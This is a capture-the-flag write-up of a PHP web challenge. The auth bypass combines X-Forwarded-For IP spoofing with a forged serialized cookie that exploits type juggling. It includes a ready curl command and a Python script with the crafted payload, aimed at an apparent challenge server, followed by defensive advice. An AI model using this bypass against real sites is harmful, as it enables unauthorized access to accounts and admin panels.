Доступ запрещён (Access Denied)
Доступ запрещён (Access Denied)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: X-Forwarded-For header IP spoofing, PHP insecure deserialization, PHP type juggling (boolean true vs string), Cookie-based authentication bypass
Summary
Walkthrough of the CUSTOM Web Доступ запрещён (Access Denied). Detailed walkthrough.
Description
Я наткнулся на сайт, который, судя по всему, находится только на стадии разработки. Однако, админ все таки добавил некий барьер для посторонних лиц
Analysis
Step 1: Initial Reconnaissance
When attempting to connect to the server, requests are blocked. Testing showed that the server filters connections by IP address, allowing only "local" connections.
Step 2: Bypass #1 — IP Filtering
Adding the X-Forwarded-For: 127.0.0.1 header allows bypassing the filter:
bash read-only • copy allowedcurl -s -H "X-Forwarded-For: 127.0.0.1" http://62.173.140.174:16020/
The server trusts the X-Forwarded-For header and considers the request as local.
Step 3: Discovering login.php
The main page redirects to login.php with a login form and a "LOGIN AS GUEST" button with parameter ?guest=true.
Step 4: Cookie Analysis
When accessing login.php?guest=true, the server sets an auth cookie with a PHP-serialized array:
a:2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
Breakdown:
a:2— array of 2 elementss:8:"username"— string of length 8: "username"s:5:"guest"— string of length 5: "guest"s:8:"password"— string of length 8: "password"s:5:"guest"— string of length 5: "guest"
Step 5: Attack Attempts
-
Changing username to admin with password admin:
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}Result: "Access to the control panel is allowed only for admin"
-
Adding role/is_admin fields: Result: same — server only checks username and password
-
SQL injection in serialized password: Result: unsuccessful
Step 6: Bypass #2 — PHP Type Juggling
The vulnerability lies in how PHP compares values. When using loose comparison (==), boolean true equals any non-empty string:
php read-only • copy allowed// PHP loose comparison true == "admin" // true true == "password" // true true == "anything" // true
Replace the string password with boolean true (b:1 in PHP serialization):
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}
Solution
Final Exploit
bash read-only • copy allowed# URL-encoded payload # a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;} PAYLOAD="a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D" curl -s -H "X-Forwarded-For: 127.0.0.1" \ -b "auth=$PAYLOAD" \ http://62.173.140.174:16020/index.php
Python Version
python read-only • copy allowedimport requests from urllib.parse import quote TARGET = "http://62.173.140.174:16020" # PHP serialized array with boolean true as password payload = 'a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}' encoded = quote(payload, safe='') headers = { "X-Forwarded-For": "127.0.0.1" } cookies = { "auth": encoded } resp = requests.get(f"{TARGET}/index.php", headers=headers, cookies=cookies) print(resp.text)
Flag Breakdown
REDACTED = "insecure deserialization here" — points to the main vulnerability: insecure PHP data deserialization.
PHP Type Juggling Reference
| Comparison | Result |
|---|---|
true == "admin" | true |
true == "" | false |
true == "0" | false |
0 == "admin" | true (PHP < 8.0) |
"0" == false | true |
| |
PHP Serialization Format
| Type | Format | Example |
|---|---|---|
| String | s:length:"value"; | s:5:"hello"; |
| Integer | i:value; | i:42; |
| Boolean | b:0; or b:1; | b:1; (true) |
| Array | a:size:{...} | a:2:{...} |
| NULL | N; | N; |
| Object | O:length:"class":size:{...} | O:4:"User":1:{...} |
Defense
- Don't trust X-Forwarded-For — use only behind a trusted reverse proxy
- Don't use unserialize() on user data — use JSON instead
- Use strict comparison (
===) — avoid type juggling - Sign serialized data — HMAC for integrity verification
- Store sessions on server — not in cookies
References
- PHP Type Juggling
- PHP Serialization
- X-Forwarded-For Bypass
Key Takeaways / Lessons
- Mastering X-Forwarded-For header IP spoofing, PHP insecure deserialization, PHP type juggling (boolean true vs string), Cookie-based authentication bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-03 • CUSTOM • Доступ запрещён (Access Denied) • Difficulty: Medium